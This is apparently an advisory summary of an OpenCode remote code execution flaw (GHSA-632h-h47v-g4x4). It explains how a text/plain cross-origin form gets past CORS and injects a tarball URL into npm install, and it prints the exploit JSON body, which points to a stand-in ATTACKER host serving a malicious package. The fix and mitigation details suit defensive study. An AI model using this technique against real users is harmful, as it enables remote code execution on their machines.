
Discovering and exploiting a remote code execution vulnerability in OpenCode (GHSA-632h-h47v-g4x4)
GHSA-632h-h47v-g4x4 is an RCE in OpenCode's /global/upgrade endpoint, fixed in 1.18.22. The target value reached `npm install -g opencode-ai@TARGET`, so an attacker could supply a malicious tarball URL with a preinstall script. A text/plain HTML form bypassed CORS through top-level navigation because the handler parsed JSON without checking Content-Type. Affects 1.14.30 to 1.18.21 installed via npm, pnpm or Bun.
What it is
GHSA-632h-h47v-g4x4 is a remote code execution flaw in the OpenCode AI coding agent (Anomaly), found by Datadog Security Labs. It is reachable from any web page the user visits while the OpenCode web server is running. OpenCode 1.18.22 fixes it. Anomaly chose not to request a CVE, so the GHSA is the only identifier.
How it works
Two flaws combine.
- Injection.
POST /global/upgradetakes atargetstring and runsnpm install -g opencode-ai@${target}(or the pnpm or bun equivalent) withchild_process.spawn(). npm accepts a remote tarball URL as a package spec. The attacker hosts a package namedopencode-aiwhosepackage.jsonhas apreinstallscript, and that script runs on the victim's machine. - Content-type confusion. The handler (
upgradeRaw, using Effect'shandleRaw) reads the body as text and callsJSON.parsewithout checkingContent-Type. A cross-originfetch()withapplication/jsonfails the CORS preflight, because the server returns noAccess-Control-Allow-Origin. A top-level form navigation skips CORS. Anenctype="text/plain"form can build valid JSON by splitting it across the input name and value, so the body becomes{"target":"http://ATTACKER/opencode-malicious.tgz","x":"="}. The server answers 200.
Chrome 142, Firefox 151 and Edge 143 added Local Network Access prompts for cross-origin requests to localhost. The page says these protections do not currently cover top-level navigations, by design.
Preconditions / Affected
All of these must hold:
- OpenCode 1.14.30 through 1.18.21 inclusive.
opencode serveoropencode webis running with noOPENCODE_SERVER_PASSWORD, or the browser has cached basic-auth credentials from a recent login. Setting a password therefore does not protect a user who has recently authenticated in that browser.- Installed via npm, pnpm or Bun. The curl install method is not in the vulnerable list.
The server listens on 127.0.0.1:4096 by default, and the victim's browser acts as the bridge to it.
What to do
Upgrade to 1.18.22 or later. To check the install method:
ls -l "$(command -v opencode)"Setting a password helps only partly, for the reason above:
OPENCODE_SERVER_PASSWORD=whySoSerious opencode webThe fix is PR #44686 (commit c6e76e9, 24 August 2026). It does two things:
targetmust now passsemver.valid.handlereplaceshandleRaw, so the content type is enforced. The exploit request now gets415 Unsupported Media Type.
Caveats
- Datadog counted more than 647,000 npm downloads of the 82 vulnerable versions from 17 to 23 September 2026. That does not show how many users run
opencode serveoropencode web, or how many machines are affected. - The page gives no evidence of exploitation in the wild.
Organisations named here
- Anomaly
- content-type confusion
- cross-origin request
- Datadog Security Labs
- GHSA-632h-h47v-g4x4
- Local Network Access
- preinstall script
Technologies named here
- OpenCode
- npm
- pnpm
- Bun
- GitHub Security Advisories
- TypeScript
- Basic authentication (OPENCODE_SERVER_PASSWORD)
- Cross-Origin Resource Sharing (CORS)
- Effect (handleRaw and handle)
- Local Network Access
- OpenCode 1.18.21 (version shown in the exploit video)
Techniques named here
- Content-type confusion
- Cross-origin form POST via top-level navigation (enctype text/plain)
- Malicious npm package with preinstall lifecycle script
- Remote code execution via command/argument injection
Related in AppSec
Flowise MCP Security Bypass Enables RCE
Inside an Oracle Database SQL Injection Attack | Huntress
OASIS
